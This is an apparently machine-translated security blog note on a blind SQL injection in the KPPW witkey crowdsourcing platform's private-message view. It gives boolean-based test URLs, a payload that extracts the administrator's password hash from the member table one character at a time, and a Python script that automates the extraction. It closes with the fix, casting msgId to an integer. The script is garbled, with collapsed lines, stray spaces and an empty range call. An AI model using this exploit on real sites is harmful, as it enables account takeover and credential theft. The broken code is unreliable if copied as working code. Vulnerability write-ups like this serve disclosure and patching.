KPPW open-source witch system bypass protection blind note

KPPW open-source witch system bypass protection blind note

KPPW open-source witch system bypass protection blind note

 

1.

Kppw SQL Injection

The vendor fixed the vulnerability. Union cannot be performed if union is replaced.

However, you can perform blind injection.

Same type, multiple points. However, the problem lies in the message.



2.

Register two accounts and send three messages to the other account.
 

3.

Open the url below

Http: // 192.168.1.101/KPPW/index. php? Do = user & view = message & op = detail & type = private & intPage = 1 & msgId = 16

Then try to inject
 

Next we can see the previous and next.

Injection Test

Http: // 192.168.1.101/KPPW/index. php? Do = user & view = message & op = detail & type = private & intPage = 1 & msgId = 16 and 1 = 1 --
 

Yes.

Http: // 192.168.1.101/KPPW/index. php? Do = user & view = message & op = detail & type = private & intPage = 1 & msgId = 16 and 1 = 2 --
 

It disappears.





3.

Mainly used url

Http: // 192.168.1.101/KPPW/index. php? Do = user & view = message & op = detail & type = private & intPage = 1 & msgId = 16 and (select CHAR (48 )) = SUBSTR (SELECT 'Password' from keke_witkey_member WHERE uid = 1), 1, 1 )--

Replace host url cookies with a small tool.
 

# Coding: utf-8import httplibdef get (i1, i2): page = "" rHtml = httplib. HTTPConnection ("192.168.1.101", 80, False) url = "/KPPW/index. php? Do = user & view = message & op = detail & type = notice & intPage = 1 & msgId = 13% 20and % 20% 28 select % 20 CHAR % 28 "+ i1 +" % 29% 29 = SUBSTR % 28% 28 SELECT % 20% 60 password % 60% 20 from % 20keke_witkey_member % 20 WHERE % 20uid % 20 = 1% 29, "+ i2 +", 1% 29 -- "# print urlrHtml. request ("GET", url, headers = {"User-Agent": "Firefox/22.0", "Accept": "text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8 "," Accept-Language ":" en-US, en; q = 0.5 ", "Accept-Encoding ": "Gzip, deflate", "Cookie": "PHPSESSID = x", "Connection": "keep-alive"}) page = rHtml. getresponse (False) return page. read (). count ('barri') mm = [] for I in range (48,123): for ii in range (): if (get (str (ii ), str (I ))! = 0): mm. append (chr (ii) print "". join (mm) break

 

 

Solution:

Convert to int